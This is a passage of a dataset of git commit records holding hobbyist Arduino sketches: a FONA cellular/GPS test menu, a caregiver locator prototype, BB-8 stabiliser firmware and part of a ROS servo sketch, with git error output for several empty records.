sentences (0 = off, 34 = RMC+GGA, 255 = all)\"));\n } else {\n Serial.print(F(\"On (1) or Off (0)? \"));\n }\n uint8_t nmeaout = readnumber();\n\n \/\/ turn on NMEA output\n fona.enableGPSNMEA(nmeaout);\n\n break;\n }\n\n \/*********************************** GPRS *\/\n\n case 'g': {\n \/\/ turn GPRS off\n if (!fona.enableGPRS(false))\n Serial.println(F(\"Failed to turn off\"));\n break;\n }\n case 'G': {\n \/\/ turn GPRS on\n if (!fona.enableGPRS(true))\n Serial.println(F(\"Failed to turn on\"));\n break;\n }\n case 'l': {\n \/\/ check for GSMLOC (requires GPRS)\n uint16_t returncode;\n\n if (!fona.getGSMLoc(&returncode, replybuffer, 250))\n Serial.println(F(\"Failed!\"));\n if (returncode == 0) {\n Serial.println(replybuffer);\n } else {\n Serial.print(F(\"Fail code #\")); Serial.println(returncode);\n }\n\n break;\n }\n case 'w': {\n \/\/ read website URL\n uint16_t statuscode;\n int16_t length;\n char url[80];\n\n flushSerial();\n Serial.println(F(\"NOTE: in beta! Use small webpages to read!\"));\n Serial.println(F(\"URL to read (e.g. www.adafruit.com\/testwifi\/index.html):\"));\n Serial.print(F(\"http:\/\/\")); readline(url, 79);\n Serial.println(url);\n\n Serial.println(F(\"****\"));\n if (!fona.HTTP_GET_start(url, &statuscode, (uint16_t *)&length)) {\n Serial.println(\"Failed!\");\n break;\n }\n while (length > 0) {\n while (fona.available()) {\n char c = fona.read();\n\n \/\/ Serial.write is too slow, we'll write directly to Serial register!\n#if defined(__AVR_ATmega328P__) || defined(__AVR_ATmega168__)\n loop_until_bit_is_set(UCSR0A, UDRE0); \/* Wait until data register empty. *\/\n UDR0 = c;\n#else\n Serial.write(c);\n#endif\n length--;\n if (! length) break;\n }\n }\n Serial.println(F(\"\\n****\"));\n fona.HTTP_GET_end();\n break;\n }\n\n case 'W': {\n \/\/ Post data to website\n uint16_t statuscode;\n int16_t length;\n char url[80];\n char data[80];\n\n flushSerial();\n Serial.println(F(\"NOTE: in beta! Use simple websites to post!\"));\n Serial.println(F(\"URL to post (e.g. httpbin.org\/post):\"));\n Serial.print(F(\"http:\/\/\")); readline(url, 79);\n Serial.println(url);\n Serial.println(F(\"Data to post (e.g. \\\"foo\\\" or \\\"{\\\"simple\\\":\\\"json\\\"}\\\"):\"));\n readline(data, 79);\n Serial.println(data);\n\n Serial.println(F(\"****\"));\n if (!fona.HTTP_POST_start(url, F(\"text\/plain\"), (uint8_t *) data, strlen(data), &statuscode, (uint16_t *)&length)) {\n Serial.println(\"Failed!\");\n break;\n }\n while (length > 0) {\n while (fona.available()) {\n char c = fona.read();\n\n#if defined(__AVR_ATmega328P__) || defined(__AVR_ATmega168__)\n loop_until_bit_is_set(UCSR0A, UDRE0); \/* Wait until data register empty. *\/\n UDR0 = c;\n#else\n Serial.write(c);\n#endif\n\n length--;\n if (! length) break;\n }\n }\n Serial.println(F(\"\\n****\"));\n fona.HTTP_POST_end();\n break;\n }\n \/*****************************************\/\n\n case 'S': {\n Serial.println(F(\"Creating SERIAL TUBE\"));\n while (1) {\n while (Serial.available()) {\n delay(1);\n fona.write(Serial.read());\n }\n if (fona.available()) {\n Serial.write(fona.read());\n }\n }\n break;\n }\n\n default: {\n Serial.println(F(\"Unknown command\"));\n printMenu();\n break;\n }\n }\n \/\/ flush input\n flushSerial();\n while (fona.available()) {\n Serial.write(fona.read());\n }\n\n}\n\nvoid flushSerial() {\n while (Serial.available())\n Serial.read();\n}\n\nchar readBlocking() {\n while (!Serial.available());\n return Serial.read();\n}\nuint16_t readnumber() {\n uint16_t x = 0;\n char c;\n while (! isdigit(c = readBlocking())) {\n \/\/Serial.print(c);\n }\n Serial.print(c);\n x = c - '0';\n while (isdigit(c = readBlocking())) {\n Serial.print(c);\n x *= 10;\n x += c - '0';\n }\n return x;\n}\n\nuint8_t readline(char *buff, uint8_t maxbuff, uint16_t timeout) {\n uint16_t buffidx = 0;\n boolean timeoutvalid = true;\n if (timeout == 0) timeoutvalid = false;\n\n while (true) {\n if (buffidx > maxbuff) {\n \/\/Serial.println(F(\"SPACE\"));\n break;\n }\n\n while (Serial.available()) {\n char c = Serial.read();\n\n \/\/Serial.print(c, HEX); Serial.print(\"#\"); Serial.println(c);\n\n if (c == '\\r') continue;\n if (c == 0xA) {\n if (buffidx == 0) \/\/ the first 0x0A is ignored\n continue;\n\n timeout = 0; \/\/ the second 0x0A is the end of the line\n timeoutvalid = true;\n break;\n }\n buff[buffidx] = c;\n buffidx++;\n }\n\n if (timeoutvalid && timeout == 0) {\n \/\/Serial.println(F(\"TIMEOUT\"));\n break;\n }\n delay(1);\n }\n buff[buffidx] = 0; \/\/ null term\n return buffidx;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'FONAtest\/FONAtest.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"e44bfbdf059a3a0936a39f9927f188f7e0fc9aa9","subject":"Code integration started","message":"Code integration started\n","repos":"redfern314\/IPD-arduino","old_file":"caregiver\/caregiver.ino","new_file":"caregiver\/caregiver.ino","new_contents":"#include <Wire.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_HMC5883_U.h>\n\n\/\/ any pins can be used\n#define SCK 10\n#define MOSI 9\n#define SS 8\n#define BLACK 0\n#define WHITE 1\n\n\/* Assign a unique ID to this sensor at the same time *\/\nAdafruit_HMC5883_Unified mag = Adafruit_HMC5883_Unified(12345);\n\nAdafruit_SharpMem display(SCK, MOSI, SS);\n\nint newData = 1;\n\nchar alz_name[] = \"George\";\nchar alz_add_1[] = \"1000 Olin Way\";\nchar alz_add_2[] = \"Needham, MA\";\n\nfloat pi = 3.14159265358979;\nfloat dx;\nfloat dy;\nint angle = 0;\nint care_dir_face = 50; \/\/ direction caregiver is facing, in degrees\nint care_alz_dir = 350; \/\/ NSEW direction caregiver needs to travel to reach patient\nint adj_care_alz_dir = 330; \/\/ angle from caregiver to patient, where 0 == direction caregiver is facing\n\nvoid drawAndRefresh() {\n if (newData) {\n newData = 0;\n\n \/\/ draw text\n display.clearDisplay();\n display.setTextSize(1);\n display.setTextColor(BLACK);\n display.setCursor(2,2);\n display.println(alz_name);\n display.setCursor(2,12);\n display.println(\"has wandered to\");\n display.setCursor(2,22);\n display.println(alz_add_1);\n display.setCursor(2,32);\n display.println(alz_add_2);\n\n \/\/ draw arrow\n \/\/ TODO\n }\n display.refresh();\n}\n\nvoid setup(void) \n{\n Serial.begin(9600);\n Serial1.begin(9600);\n\n \/* Initialise the sensor *\/\n if(!mag.begin())\n {\n \/* There was a problem detecting the HMC5883 ... check your connections *\/\n Serial.println(\"Ooops, no HMC5883 detected ... Check your wiring!\");\n while(1);\n }\n}\n\nfloat getHeading() {\n \/* Get a new sensor event *\/ \n sensors_event_t event; \n mag.getEvent(&event);\n \n \/* Display the results (magnetic vector values are in micro-Tesla (uT)) *\/\n Serial.print(\"X: \"); Serial.print(event.magnetic.x); Serial.print(\" \");\n Serial.print(\"Y: \"); Serial.print(event.magnetic.y); Serial.print(\" \");\n Serial.print(\"Z: \"); Serial.print(event.magnetic.z); Serial.print(\" \");Serial.println(\"uT\");\n\n \/\/ Hold the module so that Z is pointing 'up' and you can measure the heading with x&y\n \/\/ Calculate heading when the magnetometer is level, then correct for signs of axis.\n float heading = atan2(event.magnetic.y, event.magnetic.x);\n \n \/\/ Once you have your heading, you must then add your 'Declination Angle', which is the 'Error' of the magnetic field in your location.\n \/\/ Find yours here: http:\/\/www.magnetic-declination.com\/\n \/\/ Mine is: -13* 2' W, which is ~13 Degrees, or (which we need) 0.22 radians\n \/\/ If you cannot find your Declination, comment out these two lines, your compass will be slightly off.\n float declinationAngle = 0.22;\n heading += declinationAngle;\n \n \/\/ Correct for when signs are reversed.\n if(heading < 0)\n heading += 2*PI;\n \n \/\/ Check for wrap due to addition of declination.\n if(heading > 2*PI)\n heading -= 2*PI;\n \n \/\/ Convert radians to degrees for readability.\n float headingDegrees = heading * 180\/M_PI; \n \n return(headingDegrees);\n}\n\nvoid loop(void) \n{\n \/\/ clear GPS serial buffer to get new data\n while(Serial1.available()) {\n Serial1.readln();\n }\n delay(10);\n\n \/\/ get GPS location\n char GPS[100];\n while (Serial1.available()) {\n char incoming[100];\n Serial1.readBytesUntil('\\n',incoming,100);\n if(strncmp(incoming,\"$GPRMC\",6)==0) {\n strcpy(GPS,incoming);\n break;\n }\n }\n\n \/\/ get magnetic heading\n int heading = (int)getHeading();\n\n \/\/ send location and heading to server\n Serial.print(\"Heading,\")\n Serial.println(heading);\n Serial.print(\"GPS,\");\n Serial.println(GPS);\n\n \/\/ wait for the server to send back data, then read it\n while(!Serial.available()) {}\n char address[100];\n char reldir[4];\n\n \/\/ read address\n int bytes = Serial.readBytesUntil('|',address,100);\n address[bytes] = '\\0'; \/\/ remove the trailing | character\n\n \/\/ read direction\n bytes = Serial.readBytes(reldir,3); \/\/ TODO: make sure we're sending 3 bytes\n\n \/\/ update and refresh screen\n \/\/ TODO\n\n \/\/ wait 500ms and repeat\n delay(500);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'caregiver\/caregiver.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bd5cab787a093534ba450567173935a0ff112dd1","subject":"dirty cketch","message":"dirty cketch\n","repos":"bitsybits\/bitsybits-core,bitsybits\/bitsybits-core","old_file":"src\/bitsybits-sketch.ino","new_file":"src\/bitsybits-sketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bitsybits\/bitsybits-core.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"54a1ccc29ebd266a950ef9c35e816c53c3a9b2dc","subject":"Arduino Clock Code","message":"Arduino Clock Code\n","repos":"tanishq-dubey\/personalprojects","old_file":"Arduino Clock\/clockCode.ino","new_file":"Arduino Clock\/clockCode.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Clock\/clockCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"06a88d29b72d1430c6744a8763d319ea5ce1ccd1","subject":"Create Stabilisator.ino","message":"Create Stabilisator.ino","repos":"Gruniek\/BB-UNIT,Gruniek\/BB-UNIT","old_file":"Firmware\/Ball\/Stabilisator\/Stabilisator.ino","new_file":"Firmware\/Ball\/Stabilisator\/Stabilisator.ino","new_contents":"String version = \"0.1.2\";\n\/*\n - BB-UNIT -\n A open source BB-8 for create you own BB-8!\n ###########################################\n\n https:\/\/github.com\/Gruniek\/BB-UNIT\n Made by Daniel M\/Gruniek\/MOUS\n \n Compatible only with an Arduino Nano and the specific PCB.\n PCB Link : https:\/\/github.com\/Gruniek\/BB-UNIT\/tree\/master\/Head\/Stabiliser\/PCB\n \n --------------\n - Change log -\n --------------\n \n 11\/2016\n =========\n - FIX alls bug foe stabilisation\n - ADD BOOT, STAT, ROTATE command\n - ADD Z motor configuration and production\n - ADD BOOT mode, for initilize or reinizialize the Droid position\n \n 10\/2016\n ==========\n - Add PID for X and Y\n \n \n To do list\n ==========\n - Add Z rotation controller\n - Add Rx\/Tx from the motherboard for change de coordinate of the head, \n rotate the head and report to the remote the status off all sensors\/positiom.\n \n \n Big thanks for http:\/\/r2builders.fr\/ !\n Initial project : http:\/\/r2builders.fr\/forum\/viewtopic.php?f=26&t=3928&hilit=BB8+par+MOUS\n \n ===============\n EXEMPLE COMMAND \n ===============\n < SET >\n 'SET x87 y75 h3 \\n' \/\/ SET a new setpoint for x and y with 3degree of Hysteressis\n 'SET x90 y90 i1 j0 k1 \\n' \/\/ SET an inversion of the sensor X Y and invert the direction of X\n \n \tx = SETPOINT for X\n\ty = SETPOINT for Y\n\tm = MULTIPLIER FOR THE SPEED OF THE MOTOR X and Y\n\ti = INVERT the angle sensor ( X = Y and Y = X )\n\tj = INVERT the direction of X\n\tk = INVERT the direction of Y\n\th = SET a new HYSTERESSIS \n\n\n\n < BOOT > \n 'BOOT \\n' \/\/ LAUNCH TEST for X, Y and Z -> Return X and Y to initial SETPOINT (x90 y90 ) and Z to ZERO\n\n\n\n < RUN >\n 'RUN \\n' \/\/ RUN the code in production mode (Recieved all data, X and Y runing for the SETPOINT poistion and Z folow the remote controll\n \n < STOP > \n 'STOP \\n' \/\/ STOP the production mode. All motors are stopped.\n \n \n < ROTATE >\n 'ROTATE d1 s100 \\n' \/\/ ROTATE Z motor on the RIGHT DIRECTION (d0 LEFT, d1 RIGHT) WITH the SPEED at 1000\/100 = 10 step\/sec = 18dec\/sec\n \n \n < STAT >\n \/\/ It is all data SENDED to the MASTER-BOARD\n \n*\/\n\n#include \"Wire.h\"\n#include \"MPU6050.h\"\n\n\n\n\/\/ MOTOR CONFIGURATION \/\/ YOU CAN TOUCH THIS \n\n#define pinEnable 4 \/\/ Activation off all stepper\n\n#define pinStepX 3 \/\/ PIN STEP FOR X\n#define pinDirX 2 \/\/ PIN DIRECTION FOR X \n\n#define pinStepY 6 \/\/ PIN STEP FOR Y\n#define pinDirY 5 \/\/ PIN DIRECTION FOR Y\n\n#define pinStepZ 8 \/\/ PIN STEP FOR Y\n#define pinDirZ 7 \/\/ PIN DIRECTION FOR Y\n\n#define Z_POSITION 9 \/\/ PIN FOR THE DIGITAL INPUT FOR THE HEAD POSITION\n\nbool invertX = false; \/\/ INVERT THE X MOTOR DIRECTION\nbool invertY = true; \/\/ INVERT THE Y MOTOR DIRECTION\nbool invertXY = false; \/\/ INVERT X Y AXIAL \n\nint minX = 45; \/\/ SET THE MIN INCLINAISON FOR X\nint maxX = 135; \/\/ SET THE MAX INCLINAISON FOR X\nint minY = 45; \/\/ SET THE MIN INCLINAISON FOR Y\nint maxY = 135; \/\/ SET THE MAX INCLINAISON FOR Y\n\nint etalonX = 0; \/\/ AJUSTEMENT FOR X\nint etalonY = -6; \/\/ AJUSTEMENT FOR Y\n\nint hysteresis = 1; \/\/ HYSTERESSIS FOR THE ANGLE CALCULATION\n\n\n\/\/=====================\/\/\n\/\/ NOW YOU CAN'T TOUCH \/\/\n\/\/=====================\/\/\n\n\/\/ MPU6050\nMPU6050 accelgyro;\n\nint16_t ax, ay, az;\nint16_t gx, gy, gz;\n\n\/\/ I2C\nint adress = 2;\nint PING = 13; \/\/ PIN\nint PING_MASTER = 12;\n\/\/ VARIABLE\nint x = 0; \nint y = 0; \nint vx = 0; \nint vy = 0; \n\nint speedX = 0;\nint speedY = 0;\nint speedZ = 0;\nint setpointX = 90; \nint setpointY = 90; \n\nint Zangle = 0;\n\n\nint multiplier = 15;\nint emergencyStop = 11; \/\/ PIN\nint eStop = 12; \/\/ PIN\nbool emgStop = false;\n\nbool runX = false; \nbool runY = false; \nbool runZ = false;\nbool directX = false; \/\/ false = Gauche \/ true = droite\nbool directY = false; \/\/ false = Gauche \/ true = droite\nbool directZ = false; \/\/ false = Gauche \/ true = droite\n\nbool xok = false;\nbool yok = false;\nbool zok = false;\n\n\/\/ PID\nunsigned long previousMillisX = 0;\nunsigned long previousMillisY = 0;\nunsigned long previousMillisZ = 0;\n\nlong intX = 0;\nlong intY = 0; \n\n\nunsigned long trigGyro = 100;\nunsigned long trigSec = 1000;\nunsigned long trigG = 0;\nunsigned long trigS = 0;\n\n\nbool production = false;\nbool LED_PING = false;\nbool BOOT = false;\n\nbool ifPing = false;\nint tmpPing = 0;\nint tmpPing2 = 0;\nint pingMaster = 0;\n\n\/\/=============================================================================\/\/\n\/\/ SETUP\n\/\/=============================================================================\/\/\nvoid setup()\n{\n pinMode( pinEnable , OUTPUT );\n pinMode( pinDirX , OUTPUT );\n pinMode( pinStepX , OUTPUT );\n pinMode( pinDirY , OUTPUT );\n pinMode( pinStepY , OUTPUT );\n pinMode( PING , OUTPUT );\n pinMode( PING_MASTER , INPUT );\n pinMode( Z_POSITION , INPUT );\n \n \n Serial.begin(9600);\n \n Serial.println(\" \");\n Serial.println(\"#######################################\");\n Serial.println(\"# Astromech Industrie #\");\n Serial.println(\"# BB-UNIT #\");\n Serial.println(\"# https:\/\/github.com\/Gruniek\/BB-UNIT\/ #\");\n Serial.println(\"#######################################\");\n Serial.println(\" \");\n Serial.print(\" BB-8 Version \");\n Serial.println(version);\n Serial.println(\"===================\");\n Serial.println(\" \");\n \n Serial.print(\"Initializing I2C devices... I2C ADRESS :\");\n Serial.print(adress); \n Wire.begin(adress);\n \n accelgyro.initialize();\n Serial.print(\"Connect to the MPU6050 : \");\n \n Serial.println(accelgyro.testConnection() ? \"Connection successful\" : \"Connection failed\");\n \n Serial.println(\"Booting successful !\");\n Serial.println(\"====================\");\n \n\n}\n\n\/\/=============================================================================\/\/\n\/\/ LOOP\n\/\/=============================================================================\/\/\nvoid loop()\n{\n \/\/ GET MOTION\n \/\/-------------------------------------------------------------------------\/\/\n unsigned long currentG = millis(); \/\/ millis();\n\n if (currentG - trigG >= trigGyro) \n {\n \ttrigG = currentG;\n \n \n \taccelgyro.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n\t\tif(invertXY)\n\t\t{\n\t\t\ty = (((ax\/180)+etalonX)+90);\n \t\t\tx = (((ay\/180)+etalonY)+90);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tx = (((ax\/180)+etalonX)+90);\n \t\t\ty = (((ay\/180)+etalonY)+90);\n\t\t}\n }\n \n \/\/ GET SERIAL DATA\n \/\/-------------------------------------------------------------------------\/\/\n\t \n char msg[30];\n if (Serial.available() > 0)\n {\n \tSerial.readBytesUntil('\\n', msg, sizeof msg);\n\n \tif (strcmp(strtok(msg, \" \"), \"SET\") == 0)\n \t{\n \tSerial.println(\"UPDATE SETPOINT\");\n \t\t\/\/ trouv\u00e9 le message\n \t\tchar *p;\n \t\twhile ((p = strtok(NULL, \" \")) != NULL)\n \t\t{\n \t\tint val = atoi(p + 1);\n \t\tswitch (*p)\n \t\t{\n \t\t\tcase 'x': setpointX = val; break;\n \t\t\tcase 'y': setpointY = val; break;\n \t \t\t\tcase 'm': multiplier = val; break;\n \t\t\t\tcase 'i': invertXY = val; break;\n \t\t\t\tcase 'j': invertX = val; break;\n \t\t\t\tcase 'k': invertX = val; break;\n \t\t\t\tcase 'h': hysteresis = val; break;\n \t\t}\n \t\t}\n \t}\n \n \tif (strcmp(strtok(msg, \" \"), \"RUN\") == 0)\n \t{\n \tSerial.println(\"ROll BB-8 ROLL !\");\n \t production = true;\n \t emgStop = false;\n \t}\n \n \tif (strcmp(strtok(msg, \" \"), \"STOP\") == 0)\n \t{\n \t\tSerial.println(\"STOP\");\n \t production = false;\n \t}\n \t\n \tif (strcmp(strtok(msg, \" \"), \"RESET\") == 0)\n \t{\n \t\tSerial.println(\"RESET\");\n \t production = false;\n \t}\n \t\n \tif (strcmp(strtok(msg, \" \"), \"BOOT\") == 0)\n \t{\n \t\t\n \t BOOT = true;\n \t Serial.println(\"BOOTING UP...\");\n \t delay(2000);\n \t}\n \t\n \tif (strcmp(strtok(msg, \" \"), \"ROTATE\") == 0) \/\/ ROTATE d1 s100 <-- Rotate Z right, 18c\/sec\n \t{\n \t\t\/\/ trouv\u00e9 le message\n \t\tchar *p;\n \t\twhile ((p = strtok(NULL, \" \")) != NULL)\n \t\t{\n \t\tint val = atoi(p + 1);\n \t\tswitch (*p)\n \t\t{\n \t\t\tcase 'd': directZ = val; break;\n \t\t\tcase 's': speedZ = val; break;\n \t\t}\n \t\t}\n \t}\n \t\n \t\n }\n \n if(BOOT)\n {\n \t \/\/ SET X IN POSITION\n \t\tif(x < 90) directX = false;\n \t\telse directX = true;\n \n \t\tif(invertX) \n \t\t{\n \t\tif(directX) directX = false;\n \t\telse directX = true;\n \t\t}\n \t\tdigitalWrite(pinDirX, directX); \/\/ dirX\n \t\t\n \t\tif(x > (setpointX + hysteresis) || (x < setpointX - hysteresis ))\n \t\t{\n \t digitalWrite(pinStepX, 1);\n \tdelayMicroseconds( 500 );\n \t digitalWrite(pinStepX, 0);\n \t delayMicroseconds( 500 );\n \t\t}\n \t\telse\n \t\t{\n \t\t\tif(!xok) \n \t\t\t{\n \t\t\t\tSerial.println(\"BOOT x1 \");\n \t\t\t\txok = true;\n \t\t\t\tdelay(2000);\n \t\t\t}\n \t\t}\n \t\t\n \t\t\n \t\t\/\/ SET Y IN POSITION\n \t\tif(y < 90) directY = false;\n \t\telse directY = true;\n \n \t\tif(invertY) \n \t\t{\n \t\tif(directY) directY = false;\n \t\telse directY = true;\n \t\t}\n \t\tdigitalWrite(pinDirY, directY); \/\/ dirX\n \t\t\n \t\tif(x > (setpointY + hysteresis) || (y < setpointY - hysteresis ))\n \t\t{\n \t digitalWrite(pinStepY, 1);\n \tdelayMicroseconds( 500 );\n \t digitalWrite(pinStepY, 0);\n \t delayMicroseconds( 500 );\n \t\t}\n \t\telse\n \t\t{\n \t\t\tif(!yok) \n \t\t\t{\n \t\t\t\tSerial.println(\"BOOT y1 \");\n \t\t\t\tyok = true;\n \t\t\t\tdelay(2000);\n \t\t\t}\n \t\t}\n \t\t\n \t\t\/\/ SET Z IN POSITION\n \t\t\n \t\tif(!Z_POSITION)\n \t\t{\n \t\t \tdigitalWrite(pinStepZ, 1);\n \tdelayMicroseconds( 500 );\n \t digitalWrite(pinStepZ, 0);\n \t delayMicroseconds( 500 );\t\n \t\t}\n \t\telse\n \t\t{\n \t\t \tif(!zok) \n \t\t\t{\n \t\t\t\tSerial.println(\"BOOT z1 \");\n \t\t\t\tzok = true;\n \t\t\t\tZangle = 0;\n \t\t\t\tdelay(2000);\n \t\t\t}\t\n \t\t}\n \t\t\n \t\tif( xok && yok && zok)\n \t\t{\n\t\t\tSerial.println(\"STAT b1 \");\n \t\t\tSerial.println(\"Booting UP OK!\");\n \t\t\tSerial.println(\"SEND 'RUN \\n' for start the production\");\n \t\t\tBOOT = false;\n \t\t}\n \n \n }\n \n\t\/\/ PRODUCTION CODE\n \/\/-------------------------------------------------------------------------\/\/ \n if(production && !emgStop) \/\/-\n { \n\n \t\t\/\/ X \/\/\n \n\t\t\/\/ Direction\n \t\tif(x < 90) directX = false;\n \t\telse directX = true;\n \n \t\tif(invertX) \n \t\t{\n \t\tif(directX) directX = false;\n \t\telse directX = true;\n \t\t}\n \t\tdigitalWrite(pinDirX, directX); \/\/ dirX\n \n \t\t\/\/ Si ont doit demarer le moteur\n \t\tif(x > (setpointX + hysteresis) || (x < setpointX - hysteresis )) \n \t\t{ \n \t\tif(x > minX && x < maxX) runX = true; \n \t\telse runX = false;\n \t\t}\n \t\telse runX = false;\n \n \t\t\/\/ Calcul du PID X\n \t\tif(x < 90) vx = (90 - x); \n \t\tif(x == 0) vx = 0;\n \t\tif(x > 90) vx = (x - 90);\n \n \t\tspeedX = 1000 \/ (vx);\n \t\tspeedX = speedX * multiplier; \/\/ DEL\n \t\tif(speedX < 15) speedX = 15;\n \n\t\t\/\/ Mise en route du moteur\n \t\tunsigned long currentX = millis();\n \t\t\n \tif (currentX - previousMillisX >= speedX) \n \t{\n \t\tpreviousMillisX = currentX;\n \n \t\tif(runX)\n \t\t{\n \t\tdigitalWrite(pinStepX, 1);\n \t\tdelayMicroseconds( 500 );\n \t\tdigitalWrite(pinStepX, 0);\n \t \t\tdelayMicroseconds( 500 );\n \t\t}\n \t\t}\n\n \t\t\/\/ Y \/\/\n \t\t\/\/ Direction\n \t\tif(y < 90) directY = false;\n \t\telse directY = true;\n \t\tif(invertY) \n \t\t{\n \t\tif(directY) directY = false;\n \t\telse directY = true;\n \t\t}\n \t\tdigitalWrite(pinDirY, directY);\n \n\t\t\/\/ Si ont doit demarer le moteur\n \t\tif(y > (setpointY + hysteresis) || (y < setpointY - hysteresis )) \n \t\t{ \n \t\tif(y > minY && y < maxY) runY = true; \n \t\telse runY = false;\n \t\t}\n \t\telse runY = false;\n \n \t\t\/\/ Calcul du PID Y\n \t\tif(y < 90) vy = (90 - y); \n \t\tif(y == 0) vy = 0;\n \t\tif(y > 90) vy = (y - 90);\n \n \t\tspeedY = 1000 \/ (vy);\n \t\tspeedY = speedY * multiplier; \/\/ DEL\n \t\tif(speedY < 15) speedY = 15;\n \n \t\t\/\/ Mise en route du moteur\n \t\tunsigned long currentY = millis(); \/\/ millis();\n\n \tif (currentY - previousMillisY >= speedY) \n \t{\n \t\tpreviousMillisY = currentY;\n \n \t\tif(runY)\n \t\t{\n \t\tdigitalWrite(pinStepY, 1);\n \t\tdelayMicroseconds( 500 );\n \t\tdigitalWrite(pinStepY, 0);\n \t\tdelayMicroseconds( 500 );\n \t\t}\n \t\t} \n \n \t\t\/\/--- Z\n \t\tif(speedZ != 0)\n \t\t{\n \t\t\tunsigned long currentZ = millis();\n \t\t\tif (currentZ - previousMillisZ >= speedZ) \n \t\t{\n \t\t\tpreviousMillisZ = currentZ;\n \n \t \t\tdigitalWrite(pinStepY, 1);\n \t \tdelayMicroseconds( 500 );\n \t \tdigitalWrite(pinStepY, 0);\n \t \tdelayMicroseconds( 500 );\n \t \tif(directZ) Zangle++;\n \t \telse Zangle--;\n \t\t\t} \n \t\t}\n \t\tif(Zangle == 201) Zangle = 0;\n \t\tif(Zangle == -1) Zangle = 0;\n \t\t\n \n } \/\/-\n \n \/\/ Check if the Master-Board are ALIVE\n \n if(digitalRead(PING_MASTER) && !ifPing)\n {\n \tifPing = true;\n \tpingMaster++;\n }\n \n if(digitalRead(PING_MASTER) && ifPing) ifPing = false;\n \n \n \t\/\/ SEND SERIAL DATA\n \/\/-------------------------------------------------------------------------\/\/ \n unsigned long currentS = millis(); \/\/ millis();\n\n if (currentS - trigS >= trigSec) \n {\n \ttrigS = currentS;\n \t\n \t\n \t\n \t\/\/ PING\n \tif(LED_PING) LED_PING = false;\n \telse LED_PING = true;\n \tdigitalWrite(PING, LED_PING);\n \t\n \t\n \ttmpPing2++;\n \t\n \tif(pingMaster > tmpPing) \n \t{\n \t\ttmpPing = pingMaster;\n \t\ttmpPing2 = 0;\n \t}\n \tif(tmpPing2 > 3) emgStop = true;\n \t\n \t\n \t\n \tif(!accelgyro.testConnection());\n \t{\n \t\tproduction = false;\n \t\temgStop = true;\n \t\taccelgyro.initialize();\n \t\tif(accelgyro.testConnection())\n \t\t{\n \t\t\tproduction = true;\n \t\t}\n \t}\n \t\n \t\n \t\n \t\/*\n \t\n \t\/\/ SEND STATUT\n \tSerial.print(\"STAT x\");\n \tSerial.print(x);\n \tSerial.print(\" y\");\n \tSerial.print(y);\n \tSerial.print(\" i\");\n \tSerial.print(invertXY);\n \tSerial.print(\" j\");\n \tSerial.print(invertX);\n \tSerial.print(\" k\");\n \tSerial.print(invertY);\n \tSerial.print(\" m\");\n \tSerial.print(multiplier);\n \tSerial.print(\" z\");\n \tSerial.print(Zangle);\n \t\n \tSerial.println(\" \");\n \t\n \t*\/\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Firmware\/Ball\/Stabilisator\/Stabilisator.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d2b600ef8de400b812c91883e5745dde78f44e99","subject":"New message frame, compiling but NOT TESTED","message":"New message frame, compiling but NOT TESTED\n","repos":"sschiesser\/Arduino_RTIMU9150,sschiesser\/Arduino_RTIMU9150","old_file":"ArduinoIMU\/ArduinoIMU.ino","new_file":"ArduinoIMU\/ArduinoIMU.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sschiesser\/Arduino_RTIMU9150.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"989ff3269e5d84c412f4cd1fcfe629f58af17675","subject":"final puzzle control circuit","message":"final puzzle control circuit\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_robot4.ino","new_file":"motor_robot4.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b138c5c7eda716f8fc6e364069a2ec2acba5b4a6","subject":"Remote control robot servo, lower machine function","message":"Remote control robot servo, lower machine function\n","repos":"Tarsbot\/RabbitArduino,Tarsbot\/RabbitArduino","old_file":"linger_steering\/linger_steering.ino","new_file":"linger_steering\/linger_steering.ino","new_contents":"#include <Servo.h>\n#include <ros.h>\n#include <dependant_api\/linger_steering.h>\n\nros::NodeHandle nh;\nServo servo_head;\nServo servo_left_arm;\nServo servo_right_arm;\nint pos_head = 90.0;\nint pos_left_arm = 90.0;\nint pos_right_arm = 90.0;\nint head = 90.0;\nint left_arm = 90.0;\nint right_arm = 90.0;\n\nvoid servoCallback(const dependant_api::linger_steering& linger)\n{\n head = linger.head;\n left_arm = linger.left_arm;\n right_arm = linger.right_arm;\n\n if (head > pos_head && pos_head < 170 && head - pos_head != 1)\n pos_head += 2;\n else if (head < pos_head && pos_head > 10 && head - pos_head != -1)\n pos_head -= 2;\n\n if (left_arm > pos_left_arm && pos_left_arm < 170 && left_arm - pos_left_arm != 1)\n pos_left_arm += 2;\n else if (left_arm < pos_left_arm && pos_left_arm > 10 && left_arm - pos_left_arm != -1)\n pos_left_arm -= 2;\n\n if (right_arm > 